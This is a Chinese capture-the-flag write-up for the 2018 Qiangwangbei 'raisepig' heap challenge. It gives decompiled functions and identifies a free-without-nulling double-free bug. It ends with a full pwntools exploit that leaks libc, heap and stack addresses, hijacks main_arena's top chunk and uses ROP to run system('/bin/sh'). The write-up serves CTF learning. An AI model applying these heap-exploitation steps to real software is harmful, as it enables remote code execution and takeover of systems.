强网杯2018_raisepig

qwb_raisepig

0X01 程序分析

首先遇到的问题是反编译伪代码失败, 解决办法参考so

其次看保护情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

保护全开

反汇编得到main函数如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 canary; // [rsp+28h] [rbp-8h]
  __int64 savedregs; // [rsp+30h] [rbp+0h]

  canary = __readfsqword(0x28u);
  sub_1160();
  while ( 1 )
  {
    show_menu();
    read(0, &buf, 8uLL);
    atoi(&buf);
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        raise_pig();
        break;
      case 2u:
        visit();
        break;
      case 3u:
        eat();
        break;
      case 4u:
        eat_all();
        break;
      case 5u:
        puts("See you next time.");
        exit(0);
        return;
      default:
        puts("Invalid choice");
        break;
    }
  }
}

其中:

raise_pig函数如下:

__int64 raise_pig()
{
  void *v0; // rsi
  size_t name_len; // [rsp+0h] [rbp-20h]
  void *pig_ptr; // [rsp+8h] [rbp-18h]
  void *pig_name_ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 canary; // [rsp+18h] [rbp-8h]

  canary = __readfsqword(0x28u);
  pig_ptr = 0LL;
  pig_name_ptr = 0LL;
  LODWORD(name_len) = 0;
  if ( (unsigned int)g_count <= 0x63 )
  {
    pig_ptr = malloc(0x28uLL);             //为结构体分配空间
    memset(pig_ptr, 0, 0x28uLL);
    printf("Length of the name :", 0LL);
    if ( (unsigned int)_isoc99_scanf("%u", &name_len) == -1 )
      exit(-1);
    pig_name_ptr = malloc((unsigned int)name_len);  //为猪的名字分配空间
    if ( !pig_name_ptr )
    {
      puts("error !");
      exit(-1);
    }
    printf("The name of pig :", &name_len);
    v0 = pig_name_ptr;
    read(0, pig_name_ptr, (unsigned int)name_len);   //读取猪的名字
    *((_QWORD *)pig_ptr + 1) = pig_name_ptr;         //将指向猪名的指针存到结构体中
    printf("The type of the pig :", v0);
    _isoc99_scanf("%23s", (char *)pig_ptr + 16);     //将猪的类型读到结构体中
    *(_DWORD *)pig_ptr = 1;                          //结构体的前8字节赋值为1
    for ( HIDWORD(name_len) = 0; HIDWORD(name_len) <= 0x63; ++HIDWORD(name_len) )
    {
      if ( !g_array[HIDWORD(name_len)] )
      {
        g_array[HIDWORD(name_len)] = pig_ptr;         //将猪的指针存到全局数组中
        break;
      }
    }
    ++g_count;                                     //记录猪数量的全局变量加一
  }
  return 0LL;
}

pig结构体如下:

struct pig{
    long eat_flag;
    void *name_ptr;
    char[24] type;
}

可以根据代码画出运行raise_pig后内存中的结构图如下:

  g_array
+--------+
| pig_ptr+---+    pig
+--------+   +> +--------+
|        |      |EAT_FLAG|
+--------+      +--------+         name
|        |      |name_ptr+----> +---------+
|        |      +--------+      |         |
|        |      |pig_type|      |         |
|        |      |        |      |         |
+--------+      |        |      |         |
                +--------+      |         |
                                |         |
                                |         |
                                +---------+

visit 函数如下

__int64 visit()
{
  __int64 index; // [rsp+4h] [rbp-Ch]

  HIDWORD(index) = __readfsqword(0x28u);
  if ( g_count )
  {
    LODWORD(index) = 0;
    while ( (unsigned int)index <= 0x63 )
    {
      if ( g_array[(unsigned int)index] && *(_DWORD *)g_array[(unsigned int)index] )
      //可以看到会判断结构体体的eat_flag
      {
        printf("Name[%u] :%s\n", (unsigned int)index, *(_QWORD *)(g_array[(unsigned int)index] + 8LL), index);
        printf("Type[%u] :%s\n", (unsigned int)index, g_array[(unsigned int)index] + 16LL);
      }
      LODWORD(index) = index + 1;
    }
  }
  else
  {
    puts("No pig in the garden !");
  }
  return 0LL;
}

之后可以利用这个函数的输出泄露地址

eat()

__int64 eat()
{
  unsigned int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  if ( g_count )
  {
    printf("Which pig do you want to eat:");
    _isoc99_scanf("%d", &index);
    if ( index > 0x63 || !g_array[index] )
    {
      puts("Invalid choice");
      return 0LL;
    }
    srand(0);
    *(_DWORD *)g_array[index] = 0;     //将结构体的eat_flag置零
    free(*(void **)(g_array[index] + 8LL)); //free(name_ptr)
  }
  else
  {
    puts("No pig");
  }
  return 0LL;
}

这儿free了指向name的指针但是没有将指针清零. 可以doublefree

eat_all()

unsigned __int64 eat_all()
{
  unsigned int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 canary; // [rsp+8h] [rbp-8h]

  canary = __readfsqword(0x28u);
  for ( i = 0; i <= 0x63; ++i )
  {
    if ( g_array[i] && !*(_DWORD *)g_array[i] )
    //free掉所有eat_flag为0 的结构体
    {
      free((void *)g_array[i]);
      g_array[i] = 0LL;      //将指向结构体的指针置零
      --g_count; 
    }
  }
  puts("Done!");
  return __readfsqword(0x28u) ^ canary;
}

0x02 漏洞分析

就是利用那个没有置零的指针可以进行一系列操作了, 因为我也没做出来. 就参考某不知名大佬的wp分析一遍吧.wp在文章底部给出
做了个ppt, 方便描述. 地址

0x03 总结:

这次又学到了不少骚操作:

  1. free后没有置零可以获得
    1. libc地址
    2. heap地址
  2. 利用 libc中的environ可以泄露stack的地址
  3. 劫持main_arena中top的骚操作: 先劫持个fast bin来得到个有效的size再劫持top到别的地方
  4. 对于计算main_arena在libc中的偏移可以参考大佬的githubrepo

计划把glibc的malloc和free的源码大致看一遍. 基础太重要了

0x04 exp

from pwn import *

context(arch = 'amd64', os = 'linux', endian = 'little')

def Raise(length, name, t):
    p.recvuntil('Your choice : ')
    p.sendline('1')
    p.recvuntil('name :')
    p.sendline(str(length))
    p.recvuntil(' pig :')
    p.send(name)
    p.recvuntil(' pig :')
    p.sendline(t)

def Visit():
    p.recvuntil('Your choice : ')
    p.sendline('2')

def Eat(num):
    p.recvuntil('Your choice : ')
    p.sendline('3')
    p.recvuntil(' eat:')
    p.sendline(str(num))

def EatAll():
    p.recvuntil('Your choice : ')
    p.sendline('4')


debug = 1
if debug == 1:
    p = process('./raisepig')
else:
    p = remote("39.107.32.132", 9999)
 
raw_input()
libc = ELF('./libc-64')
Raise(0x90, 'aa', 'a')
Raise(0x90, 'aa', 'a')
Raise(0x90, 'aa', 'a')
Eat(0)
EatAll()
Raise(0x90, 'a' * 8, 'a')#unsorted bin 指向 main_arena
Visit()
p.recvuntil('a' * 8)
libc.address = u64(p.recvuntil('\n')[ : -1].ljust(8, '\x00')) -0x3c4b78  #why 0x3c4b78
print hex(libc.address)
Eat(0)
Eat(1)
EatAll()
Raise(0x90, 'a' * 8, 'a')
Visit()
p.recvuntil('a' * 8)
heap_addr = u64(p.recvuntil('\n')[0 : -1].ljust(8, '\x00')) #though not used 
print hex(heap_addr)
Eat(0)
Eat(2)
EatAll()
Raise(0x90, '/bin/sh', 'a')
Raise(0x28, 'aa', 'a')
Raise(0x28, 'aa', 'a')
Raise(0x28, 'aa', 'a')
Eat(1)
Eat(2)
Eat(1)#double free
Raise(0x28, 'aa', 'a')
Eat(4)

Raise(0x28, p64(1) + p64(libc.symbols['environ']) + 'aaa', 'a')
Visit()
p.recvuntil('Name[4] :')
stack_addr = u64(p.recvuntil('\n')[ : -1].ljust(8, '\x00'))
print hex(stack_addr)
Raise(0x60, 'aa', 'a')
Raise(0x60, 'aa', 'a')
Raise(0x50, 'aa', 'a')
Raise(0x50, 'aa', 'a')
Raise(0x60, 'aa', 'a')
Eat(6)
Eat(7)
Eat(6)
Eat(8)
Eat(9)
Eat(8)
Raise(0x60, p64(0x60), 'a')
Raise(0x60, 'aa', 'a')
Raise(0x60, 'aa', 'a')

Raise(0x50, p64(libc.address + 0x3c4b48), 'a')#why 0x3c4b48 
Raise(0x50, 'aa', 'a')
Raise(0x50, 'aa', 'a')
Raise(0x50, p64(0) * 4 + p64(stack_addr - 0x140), 'a')
Eat(3)
rop = ROP(libc)
rop.call(libc.symbols['system'], [heap_addr + 0x10])
Raise(0x100, str(rop), 'a')
p.interactive()

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